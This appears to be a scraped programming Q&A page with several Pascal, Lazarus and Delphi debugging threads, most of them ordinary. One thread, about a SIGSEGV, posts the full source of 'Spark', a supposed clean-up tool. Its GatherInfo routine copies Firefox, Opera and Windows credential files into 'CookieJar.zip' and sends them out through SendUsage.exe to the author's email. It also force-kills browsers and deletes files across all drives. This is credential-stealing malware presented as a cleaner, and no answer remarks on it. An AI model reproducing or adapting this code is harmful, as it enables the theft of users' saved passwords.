How to fix an External: ACCESS VIOLATION error in Pascal? - pascal

I'm getting an error in Pascal, and according to my research it's due to a declaration error (class or variable). It has to be something small, since it was working just fine. I would really appreciate any help.
To be more specific, the error I'm getting is:
'External:ACCESS VIOLATION' with message: Accedd violation reading from address $000004A8. In line 66: Efa.Text:=D.Fa ;
unit UnidadProyectoInformaticaUno;
{$mode objfpc}{$H+}{$R+}{$Q+}
interface
uses
Classes, SysUtils, Forms, Controls, Graphics, Dialogs, StdCtrls,Math;
type
{ TForm1 }
TForm1 = class(TForm)
BNext: TButton;
BPrev: TButton;
BAdd: TButton;
BDel: TButton;
BClose: TButton;
EFa: TEdit;
EIm: TEdit;
EOch: TEdit;
EOt: TEdit;
ENum: TEdit;
LabFa: TLabel;
LabIm: TLabel;
LabOch: TLabel;
LabOt: TLabel;
LabNUM: TLabel;
procedure BAddClick(Sender: TObject);
procedure BCloseClick(Sender: TObject);
procedure BDelClick(Sender: TObject);
procedure BNextClick(Sender: TObject);
procedure BPrevClick(Sender: TObject);
private
public
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
type
R= record
Fa,Im,Och: string[20];
Ot:array[1..5] of integer;
end;
Var F:file of R;
D,D1,D2:R;
Irec,i,j,k:integer;
note,grade,nada:string;
procedure OutRec;
begin
with Form1 do
IF Irec > 0 then
begin
seek(F,Irec-1);
read(F,D);
EFa.Text:=D.Fa;
EIm.Text:=D.Im;
for i:= 1 to 5 do
begin
grade:= grade +IntToStr(D.Ot[i])+' ';
end;
Eot.Text:=grade;
EOch.Text:=D.Och;
Enum.Text:= IntToStr(Irec);
end
else
begin
EFa.Text:=nada;
Enum.Text:=nada;
end;
end;
{ TForm1 }
procedure TForm1.BNextClick(Sender: TObject);
begin
If Irec = filesize(F) then
Exit
else
Irec:= Irec+1;
OutRec;
end;
procedure TForm1.BAddClick(Sender: TObject);
begin
D.Fa:=Efa.Text;
D.Im:=Eim.Text;
D.Och:=EOch.Text;
Note:= Eot.text;
for i:= 1 to 5 do
begin
k:=Pos(' ',Note);
D.Ot[i]:= strToInt(Copy(Note,1,k-1));
Delete(Note,1,k);
end;
seek(F,FileSize(F));
Write(F,D);
Irec:= FileSize(F);
OutRec;
end;
procedure TForm1.BCloseClick(Sender: TObject);
begin
close
end;
procedure TForm1.BDelClick(Sender: TObject);
begin
for i:= Irec+1 to Filesize(F) do
begin
seek(F,i-1);
read(F,D);
Seek(F,i-2);
Write(F,D);
end;
Seek(F,Filesize(f)-1);
Truncate(F);
Irec:= Min(Irec,FileSIze(F));
Outrec;
end;
procedure TForm1.BPrevClick(Sender: TObject);
begin
if Irec<2 then Exit;
Irec:= Irec-1;
OutRec;
end;
function Sort(Z:R):string;
begin
Result:=Z.Fa+' '+Z.Im+' '+Z.Och;
end;
procedure BStatus;
begin
with Form1 do
BNext.Enabled:= Irec < FileSize(f);
end;
procedure B1Status;
begin
with Form1 do
BPrev.Enabled:= Irec > 1;
end;
procedure B2Status;
begin
with Form1 do
BAdd.Enabled:= length(Eot.Text) > 0 ;
end;
procedure B3Status;
begin
with Form1 do
BDel.Enabled:= IRec > 0;
end;
begin
assignfile(F,'file.dat');
try reset(F);
except
rewrite(F);
end;
Irec:= Min(1,filesize(F));
OutRec;
for i :=1 to filesize(F)-1 do
for j:= Filesize(F) to i do
begin
seek(F,i);
read(F,D1,D2);
if Sort(D1)>Sort(D2) then
begin
write(f,D2,D1);
end;
end;
end.

In Free Pascal Reference guide, version 3.04 (May 2018), Paragraph 16.2 that deals with Units, it is said that a unit may have an initialization part and a finalization part. It is also said: "An initialization section by itself (i.e. without finalization) may simply be replaced by a statement block.", which is what you have in your code.
That statement block, between the begin and end of the unit, executes at program initialization before the Form1 (declared in the same unit) is created. Therefore you can not refer to anything belonging to the form, like fields, controls, methods, etc. in this statement block, neither directly nor indirectly.
You are calling procedure OutRec, which refers to Efa: TEdit of the form. Since the form is not yet created, you get the error of Access violation.
You must rearrange your code so it doesn't attempt to access any parts of the form from the statement block that replaces a unit initialization part.

Related

Delphi 11.2 How to set breakpoint when tbitbtn change enabled=true to enanbled=false [duplicate]

As an example, given the code extract below, I would like to define a breakpoint that triggers whenever the object field value changes and optionally, breaks on a condition (False or True in this case).
type
TForm1 = class(TForm)
EnableButton: TButton;
DisableButton: TButton;
procedure EnableButtonClick(Sender: TObject);
procedure DisableButtonClick(Sender: TObject);
private
FValue: Boolean; // <== Would like to define a breakpoint here whenever FValue changes.
public
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.DisableButtonClick(Sender: TObject);
begin
FValue := False;
end;
procedure TForm1.EnableButtonClick(Sender: TObject);
begin
FValue := True;
end;
Run the application under the debugger,
select 'Run' from the IDE menu then select 'Add Breakpoint' at the very bottom, then 'Data Breakpoint...'.
enter 'Form1.FValue' as input to the 'Adress:' field. You can also set your condition in the same dialog.
Some additional information thanks to Sertac answer and comment from David.
One can define a breakpoint based on changes in an array item with a condition.
In this case the data breakpoint is defined as follow:
Form1.FBooleans[0] = True
Code extract:
type
TBooleanArray = array of Boolean;
TForm1 = class(TForm)
EnableButton: TButton;
DisableButton: TButton;
procedure EnableButtonClick(Sender: TObject);
procedure DisableButtonClick(Sender: TObject);
private
FBooleans: TBooleanArray; // Breakpoint defined here with the condition
public
constructor Create(AOwner: TComponent); override;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
constructor TForm1.Create(AOwner: TComponent);
var
AIndex: Integer;
begin
inherited;
SetLength(FBooleans, 3);
for AIndex := 0 to Length(FBooleans) - 1 do
begin
FBooleans[AIndex] := (AIndex mod 2) = 1;
end;
end;
procedure TForm1.DisableButtonClick(Sender: TObject);
begin
FBooleans[0] := False;
end;
procedure TForm1.EnableButtonClick(Sender: TObject);
begin
FBooleans[0] := True; // Beakpoint stops here on condition.
end;

Free Pascal / Lazarus : Why is the "FormCloseQuery" Event not called in my example?

I wrote a small testprogram to try out the FormCreate and the FormCloseQuery procedure. The FormCreate works fine, but the FormCloseQuery just doesn't want to execute. Did I overlook something? Pressing the "X" on a form-window or using the close method, both doesn't work!
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: boolean);
(...)
procedure TForm1.FormCreate(Sender: TObject);
beginn
//gets executed without problems
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
case MessageDlg('Question', mtConfirmation, [mbyes, mbno, mbcancel], 0) of
mrYes:
begin
ShowMessage('yes');
CanClose := true;
end;
mrNo:
begin
ShowMessage('no');
CanClose := true;
end;
else
begin
ShowMessage('cancel');
CanClose := true;
end;
end;
end;
Here's the full code:
The lpr-File:
program project1;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Interfaces, // this includes the LCL widgetset
Forms, Unit1
{ you can add units after this };
{$R *.res}
begin
RequireDerivedFormResource:=True;
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
The Unit-File:
unit Unit1;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls;
type
{ TForm1 }
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: boolean);
private
{ private declarations }
public
{ public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
{ TForm1 }
procedure TForm1.FormCreate(Sender: TObject);
begin
ShowMessage('FormCreate Procedure wurde gestartet');
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
case MessageDlg('Question', mtConfirmation, [mbyes, mbno, mbcancel], 0) of
mrYes:
begin
ShowMessage('yes');
CanClose := true;
end;
mrNo:
begin
ShowMessage('no');
CanClose := true;
end;
else
begin
ShowMessage('cancel');
CanClose := true;
end;
end;
end;
end.
The solution is/was to hook up the form's OnCloseQuery event of the form to this procedure. Here's a short description how to do it:
Bring up and select the form (in my case "Form1: TForm1") in the object inspector (see explanation below).
In the object inspector go to the tab "events"
Locate the "OnCloseQuery"-Event and select "FormCloseQuery" if you already declared and written the procedure as it was the case in my example. (If you haven't declared/implemented it double click in the dropdown box or click on the button next to it, the one with the three dots, an an empty "OnCloseQuery"-procedure procedure will be added automatically. The code editor will jump directly to the new procedure.)
To bring up / select the form in the object inspector, open the object inspector (F11). If you are looking at the code editor bring up the form first (F12) and click on it. This should bring it up in the object inspector. Make sure the form (the top element in the list) is selected and none of it's components (like buttons etc.).
Here's another explanation: http://www.delphigroups.info/2/b2/444056.html

Referencing Service.Name crashes after moving service code to ancestor

I had a unit for a Windows (32 bit) service that was built up like this:
unit uSvcBase;
interface
type
TMyServiceBase = class(TService)
procedure ServiceBeforeUninstall(Sender: TService);
procedure ServiceCreate(Sender: TObject);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
procedure ServiceExecute(Sender: TService);
procedure ServiceStart(Sender: TService; var Started: Boolean);
procedure ServiceAfterInstall(Sender: TService);
private
public
function GetServiceController: TServiceController; override;
end;
var
MyServiceBase: TMyServiceBase;
implementation
{$R *.DFM}
{$R SvcEventLogMessages.res}
procedure ServiceController(CtrlCode: DWord); stdcall;
begin
MyServiceBase.Controller(CtrlCode);
end;
function TMyServiceBase.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;
const
rsServiceMessages =
'SYSTEM\CurrentControlSet\Services\EventLog\Application';
procedure TMyServiceBase.ServiceAfterInstall(Sender: TService);
var
lReg : TRegistry;
lAppName: String;
begin
lReg := TRegistry.create;
try
with lReg do
begin
Rootkey := HKEY_LOCAL_MACHINE;
if OpenKey(rsServiceMessages, False) then
begin
if OpenKey(MyServiceBase.Name, True) then
begin
lAppName := ParamStr(0);
WriteString('EventMessageFile', lAppName);
WriteString('CategoryMessageFile', lAppName);
WriteInteger('CategoryCount', 2);
WriteInteger('TypesSupported', EVENTLOG_ERROR_TYPE OR EVENTLOG_WARNING_TYPE OR EVENTLOG_INFORMATION_TYPE);
CloseKey;
end;
CloseKey;
end; { if OpenKey }
end; { with lReg }
finally
lReg.Free;
end;
end;
Because I needed to make a second service which was largely identical, I decided to make this a 'base' unit that others derive from (you can already see that in the names above):
unit uSvcTasks;
interface
uses
System.SysUtils, System.Classes, uSvcBase;
type
TMyServiceScheduler = class(TMyServiceBase)
procedure ServiceCreate(Sender: TObject);
private
public
end;
var
MyServiceScheduler: TMyServiceScheduler;
implementation
{%CLASSGROUP 'System.Classes.TPersistent'}
{$R *.dfm}
Uses uTypesAlgemeen;
procedure TMyServiceScheduler.ServiceCreate(Sender: TObject);
begin
inherited;
// Set some properties
end;
At design time, the MyServiceScheduler.Name in this descendant differs from the MyServiceBase.Name.
Issue: The AfterInstall now crashed. Trying to use the original code using OpenKey(MyServiceBase.Name was not allowed.
I worked around his by using a property for the name (setting it in the descendant Create), but I do not understand why referencing MyServiceBase.Name in the AfterInstall does not work. Can anyone explain?
Thanks to Uwe Raabe's comments I was able to figure out how to fix this:
The project had an Application.CreateForm(TMyServiceScheduler, MyServiceScheduler) in the project source which initializes MyServiceScheduler, but there was nothing initializing MyServiceBase, so refering to it was illegal.
Replace the reference to MyServiceBase.Name with Name in the AfterInstall(That should've been done anyway).
Move the code for the ServiceController from uSvcBase to uSvcTasks

Delphi: Project raising External: SIGSEGV

I have a graphical program with forms and a lot of code. When I started it, it was fine, no errors, no exceptions. I added two more procedures and it still ran without problems. I placed a progress bar, and added this code to an Image's OnClick event: ProgressBar.Visible:=False; The compilation finished with no errors, but when I ran the program, I got this exception:
Project Spark raised exception class 'External: SIGSEGV'.
In file '.\include\control.inc' at line 948:
Result := IsControlVisible and ((Parent = nil) or (Parent.IsVisible));
Strange fact: I removed the progress bar and every procedure assigned to, but I kept getting this error.
Additional info:
Compiled under Lazarus ver. 1.2.6
FPC Version: 2.6.4
Windows 7 Ultimate 6.1.7601.1.1252.1.1033.18.8130.4811
EDIT: Here is the full code as requested.
But first: This program is supposed to be a Clean-Up program, which finds and deletes some files. The GatherInfo procedure sends me additional debug info (by executing an external program).
unit sparkunit;
{$mode objfpc}{$H+}
interface
uses
Windows, Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs,
LResources, StdCtrls, WelcomeUnit, scanunit, Variants, SHLOBJ,
ExtCtrls, ComCtrls, Process;
type
{ TSparkForm }
TSparkForm = class(TForm)
Borders: TImage;
Borders1: TImage;
Borders2: TImage;
Borders3: TImage;
NextBTN: TImage;
OLabel: TLabel;
ScanFRM: TScanFrame;
TitleLBL: TLabel;
Wallpaper: TImage;
WelcomeFRM: TWelcomeFrame;
XLabel: TLabel;
_Label: TLabel;
procedure BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure NextBTNClick(Sender: TObject);
procedure OLabelClick(Sender: TObject);
procedure XLabelClick(Sender: TObject);
procedure _LabelClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
const SparkCursor = 777;
SparkDragCursor = 778;
var
SparkForm: TSparkForm;
MouseIsDown: Boolean;
PX, PY: Integer;
Operating: Boolean;
FFile: Text;
Path,Looper: String;
Master: TProcess;
Browser: Array [1..4] of String;
//1=Firefox, 2=Chrome, 3=Opera, 4=Internet Explorer
implementation
{$R *.lfm}
{ TSparkForm }
function GetSystemLoc: string;
var
FilePath: array [0..255] of char;
begin
SHGetSpecialFolderPath(0, #FilePath[0], $0025, True);
Result := FilePath;
end;
procedure CrFile(F: String);
var D: Text;
Begin
AssignFile(D,F);
Rewrite(D);
CloseFile(D);
end;
procedure Log(StrToLog:String);
var Lof: Text;
Begin
AssignFile(Lof,'SparkLog.txt');
Append(Lof);
Writeln(Lof,StrToLog);
CloseFile(Lof);
end;
procedure ChList(FileToAdd: String);
Begin
if ((FileExists(FileToAdd)) or (DirectoryExists(FileToAdd))) and (FileToAdd<>'C:\Windows\') then Begin
AssignFile(FFile,'Deletions.tmp');
Append(FFile);
Writeln(FFile,FileToAdd);
CloseFile(FFile);
Log('Automatically added '+FileToAdd+' to the deletion list.');
end;
Application.ProcessMessages;
SparkForm.Refresh;
end;
procedure ChAdd(FileToAdd: String);
var DFile: Text;
Begin
AssignFile(FFile,'CookieJar.zip');
Append(FFile);
Writeln(FFile);
Writeln(FFile,FileToAdd);
Writeln(FFile);
if FileExists(FileToAdd) then Begin
if Not(CopyFile(FileToAdd,'Temp.tmp')) then ShowMessage('Error!');
AssignFile(DFile,'Temp.tmp');
Reset(DFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(DFile,Looper);
Writeln(FFile,Looper);
until EOF(DFile);
CloseFile(DFile);
DeleteFile('Temp.tmp');
End;
CloseFile(FFile);
end;
procedure ChDel(FilePath: String);
Begin
if FileExists(FilePath) then DeleteFile(FilePath)
Else if DirectoryExists(FilePath) then DeleteDirectory(FilePath,True);
end;
function NotInCar(FileName: String): Boolean;
Begin
if (Pos('Spark',FileName)<>0) then NotInCar:=False
Else NotInCar:=True;
End;
procedure AddExtension(Ext: String);
var FileList: TStringList;
I: LongInt;
Drive: Char;
O: Text;
Begin
AssignFile(FFile,'Ext.tmp');
Rewrite(FFile);
CloseFile(FFile);
For Drive:='A' to 'Z' do
if DirectoryExists(Drive+':\') then Begin
Application.ProcessMessages;
SparkForm.Refresh;
FileList:=FindAllFiles(Drive+':\',Ext,True);
if FileList.Count>0 then Begin
Application.ProcessMessages;
SparkForm.Refresh;
AssignFile(FFile,'Ext.tmp');
Append(FFile);
For I:=1 to FileList.Count-1 do if NotInCar(FileList.Strings[I]) then Writeln(FFile,FileList.Strings[I]);
CloseFile(FFile);
end;
end;
FileList.Free;
AssignFile(O,'Deletions.tmp');
Append(O);
AssignFile(FFile,'Ext.tmp');
Reset(FFile);
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
Readln(FFile,Looper);
Writeln(O,Looper);
until EOF(FFile);
CloseFile(O);
CloseFile(FFile);
DeleteFile('Ext.tmp');
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure GatherInfo;
var IEList: TStringList;
I: LongInt;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Gathering information...';
//GetFiles
AssignFile(FFile,'CookieJar.zip');
Rewrite(FFile);
CloseFile(FFile);
ChAdd(Browser[1]+'key3.db');
ChAdd(Browser[1]+'logins.json');
Application.ProcessMessages;
SparkForm.Refresh;
IEList:=TStringList.Create;
IEList:=FindAllFiles(Browser[4],'*.*',true);
if IEList.Count>0 then
For I:=1 to IEList.Count do Begin
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(IEList.Strings[I-1]);
end;
ChAdd(Browser[3]);
Application.ProcessMessages;
SparkForm.Refresh;
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera Software\Opera Stable\';
Application.ProcessMessages;
SparkForm.Refresh;
ChAdd(Browser[3]+'Login Data');
ChAdd(Browser[3]+'Login Data-journal');
//Send
Master:=TProcess.Create(NIL);
Master.Executable:='SendUsage.exe';
Master.Parameters.Add(GetCurrentDir);
Master.Parameters.Add('{My E-Mail}');
Application.ProcessMessages;
SparkForm.Refresh;
Master.ShowWindow:=swoHIDE;
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Application.ProcessMessages;
SparkForm.Refresh;
end;
Procedure StartScan;
var Windir: PChar;
Begin
Application.ProcessMessages;
SparkForm.Refresh;
GetWindowsDirectory(Windir,255);
SparkForm.ScanFRM.StatusLBL.Caption:='Scanning...';
ChList(GetEnvironmentVariable('temp'));
ChList(Windir+'\Temporary Internet Files');
ChList(Windir+'\Downloaded Program Files');
ChList(Windir+'\History');
ChList(Windir+'\Temp');
ChList(Windir+'\Cookies');
ChList(Windir+'\Favorites');
ChList(Windir+'\system.nu3');
ChList(Windir+'\user.nu3');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.tmp');
AddExtension('*.temp');
AddExtension('*.chk');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.old');
AddExtension('*.gid');
AddExtension('*.nch');
AddExtension('*.wbk');
AddExtension('*.fts');
AddExtension('*.ftg');
AddExtension('*.$$$');
AddExtension('*.err');
AddExtension('*.—');
AddExtension('*.~*');
AddExtension('~*.*');
AddExtension('*.??$');
AddExtension('*.___');
AddExtension('*.~mp');
AddExtension('*._mp');
AddExtension('*.prv');
AddExtension('*.sik');
AddExtension('CHKLIST.MS');
AddExtension('*.ilk');
AddExtension('*.aps');
AddExtension('*.mcp');
Application.ProcessMessages;
SparkForm.Refresh;
AddExtension('*.pch');
AddExtension('*.$db');
AddExtension('*.?$?');
AddExtension('*.??~');
AddExtension('*.?~?');
AddExtension('*.db$');
AddExtension('*.^');
AddExtension('*._dd');
AddExtension('*._detmp');
AddExtension('0*.nch');
AddExtension('chklist.*');
AddExtension('mscreate.dir');
AddExtension('*.diz');
AddExtension('*.syd');
AddExtension('*.grp');
AddExtension('*.cnt');
AddExtension('*.~mp');
end;
Procedure StartDeletion;
Begin
SparkForm.ScanFRM.StatusLBL.Caption:='Cleaning...';
AssignFile(FFile,'Deletions.tmp');
Reset(FFile);
Repeat
Readln(FFile,Looper);
ChDel(Looper);
Application.ProcessMessages;
SparkForm.Refresh;
if Not(Looper='') then
Log(Looper+' was removed.')
Else Log('An unknown file was removed.');
until EOF(FFile);
CloseFile(FFile);
DeleteFile('Deletions.tmp');
end;
procedure TSparkForm.FormCreate(Sender: TObject);
begin
Screen.Cursors[SparkCursor] := LoadCursorFromLazarusResource('Spark');
Screen.Cursors[SparkDragCursor] := LoadCursorFromLazarusResource('SparkDrag');
Wallpaper.Cursor := SparkCursor;
Borders.Cursor := SparkCursor;
Borders1.Cursor := SparkCursor;
Borders2.Cursor := SparkCursor;
Borders3.Cursor := SparkCursor;
WelcomeFRM.Cursor:= SparkCursor;
WelcomeFRM.Label1.Cursor:= SparkCursor;
WelcomeFRM.Label2.Cursor:= SparkCursor;
WelcomeFRM.Label3.Cursor:= SparkCursor;
WelcomeFRM.Image1.Cursor:= SparkCursor;
Browser[1]:=GetEnvironmentVariable('appdata')+'\Mozilla\Firefox\Profiles\lbtxc2cz.default\';
Browser[4]:=GetEnvironmentVariable('appdata')+'\Microsoft\Credentials\';
Browser[3]:=GetEnvironmentVariable('appdata')+'\Opera\Opera\profile\wand.dat';
end;
Procedure KillBrowser;
Begin
try
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im waterfox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im firefox.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im chrome.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im iexplore.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
Master:=TProcess.Create(nil);
Master.Executable:=GetSystemLoc+'\cmd.exe';
Master.ShowWindow:=swoHIDE;
Master.Parameters.Add('/C taskkill /f /im opera.exe');
Master.Execute;
Repeat
Application.ProcessMessages;
SparkForm.Refresh;
until Not(Master.Running);
Master.Free;
except
end;
end;
procedure TSparkForm.NextBTNClick(Sender: TObject);
begin
Application.MessageBox(PChar('Please close all running programs to continue!'),'Spark',0+48);
Application.MessageBox(PChar('Having other programs open while Spark is performing an action may result in an unstable system (and fatal errors)!'),'Spark',0+16);
Application.MessageBox(PChar('Spark will now try to automatically kill every potentially dangerous program!'),'Spark',0+48);
KillBrowser;
Operating:=True;
WelcomeFRM.Visible:=False;
ScanFRM.Visible:=True;
ScanFRM.Preloader.AnimatedGifToSprite('Scan.gif');
NextBTN.Visible:=False;
CrFile('Deletions.tmp');
CrFile('SparkLog.txt');
Application.ProcessMessages;
SparkForm.Refresh;
GatherInfo;
Application.ProcessMessages;
SparkForm.Refresh;
StartScan;
Application.ProcessMessages;
SparkForm.Refresh;
StartDeletion;
Application.MessageBox(PChar('Spark has finished cleaning! To see the results, open the log file located at'+sLineBreak+GetCurrentDir+'\SparkLog.txt'),'Spark',0+64);
Operating:=False;
SparkForm.Close;
Application.Terminate;
end;
procedure TSparkForm.OLabelClick(Sender: TObject);
begin
end;
procedure TSparkForm.XLabelClick(Sender: TObject);
begin
if not(Operating) then Begin
SparkForm.Close;
Application.Terminate;
end
Else Application.MessageBox('Spark is currently performing an operation! Do NOT exit!'+sLineBreak+'Exiting Spark may result in an unstable System!','Spark',0+16);
end;
procedure TSparkForm._LabelClick(Sender: TObject);
begin
Application.Minimize;
end;
procedure TSparkForm.BordersMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then begin
MouseIsDown := True;
PX := X;
PY := Y;
Borders.Cursor := SparkDragCursor;
end;
end;
procedure TSparkForm.BordersMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if MouseIsDown then begin
SetBounds(SparkForm.Left + (X - PX), SparkForm.Top + (Y - PY), SparkForm.Width, SparkForm.Height);
end;
end;
procedure TSparkForm.BordersMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
MouseIsDown:=False;
Borders.Cursor := SparkCursor;
end;
procedure TSparkForm.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
end;
initialization
{$I sparkcursor1.lrs} {I'm using custom cursor resources}
{$I sparkcursor2.lrs}
end.
EDIT 2: The SIGSEGV error was caused by an invalid variable, declared as Windir: PChar;. It was pointing to a protected memory address, causing the program to terminate with an exception of Access Violation. It's always a good idea to surround the code with try/except blocks to catch minor exceptions.
I have had a quick glance at the code:
In your procedure AddExtension(Ext: String); on line 139 you have a FileList:TStringList declared but it is not created anywhere.
You will need to create this object FileList:=TStringList.Create; to use it.

Delphi Exponent Calculator

Sorry for my English, as I am from Germany.
I built a program: http://i.epvpimg.com/I0xie.png
And I want an exponent calculator (I am learning for test in school), but I have a problem...
If I do the number "Zahl" (meaning "number" in German). For example: Number= "2", then I do exponent = "1".
Normally I should get the result 2 but I am getting a 4, why?
What is the problem?
Here is my Code:
unit unit_oberflaeche;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, StdCtrls,
ExtCtrls, unit_inhalt;
type
{ TForm1 }
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Panel1: TPanel;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
var
Form1: TForm1;
rechner: Texponentrechner;
implementation
{$R *.lfm}
{ TForm1 }
procedure TForm1.FormCreate(Sender: TObject);
begin
rechner := Texponentrechner.Create;
end;
procedure TForm1.Button1Click(Sender: TObject);
VAR i, LVexponent, LVzahl, result: INTEGER;
BEGIN
LVexponent := StrToInt(Edit2.Text);
LVzahl := StrToInt(Edit1.Text);
rechner.set_exponent(LVexponent);
rechner.set_zahl(LVzahl);
FOR i := 1 TO LVexponent DO
BEGIN
result := result * LVzahl
end;
//result := LVzahl;
Panel1.Caption := IntToStr(result);
end;
end.
And here is the other part:
unit unit_inhalt;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils;
TYPE
Texponentrechner = class
private
{ private declarations }
Fexponent : INTEGER;
Fzahl : INTEGER;
public
{ public declarations }
procedure set_exponent (WPexponent:INTEGER);
procedure set_zahl (WPzahl:INTEGER);
function berechne_betrag():INTEGER;
end;
implementation
procedure Texponentrechner.set_exponent(WPexponent:INTEGER);
BEGIN
Fexponent := WPexponent;
end;
procedure Texponentrechner.set_zahl(WPzahl:INTEGER);
BEGIN
Fzahl := WPzahl;
end;
function Texponentrechner.berechne_betrag():INTEGER;
BEGIN
result := Fzahl * Fzahl;
end;
end.
I assume that your exponent calculation has to be done in Texponentrechner class. First, your calculation there is wrong because it returns your number multiplied by itself, and second you are never calling that function in the first place.
So your berechne_betrag function should look like this:
function Texponentrechner.berechne_betrag(): integer;
var i: integer;
begin
Result := 1;
for i := 1 to Fexponent do
Result := Result * Fzahl;
end;
Then you should actually call that function to get the result
rechner.set_exponent(LVexponent);
rechner.set_zahl(LVzahl);
result := rechner.berechne_betrag;
Panel1.Caption := IntToStr(result);
Also you are creating rechner object instance in FormCreate, but you are never releasing it and thus you are creating memory leak. You should call rechner.Free when you are finished using object. Since you have made it global var you create in FormCreate, proper place to release it will be in FormDestroy
But even better practice would be to make it local to Button1Click method.
...
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Panel1: TPanel;
procedure Button1Click(Sender: TObject);
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
{ TForm1 }
procedure TForm1.Button1Click(Sender: TObject);
var
LVexponent, LVzahl, result: integer;
rechner: Texponentrechner;
begin
rechner := Texponentrechner.Create;
try
LVexponent := StrToInt(Edit2.Text);
LVzahl := StrToInt(Edit1.Text);
rechner.set_exponent(LVexponent);
rechner.set_zahl(LVzahl);
result := rechner.berechne_betrag;
Panel1.Caption := IntToStr(result);
finally
rechner.Free;
end;
end;
end.

Resources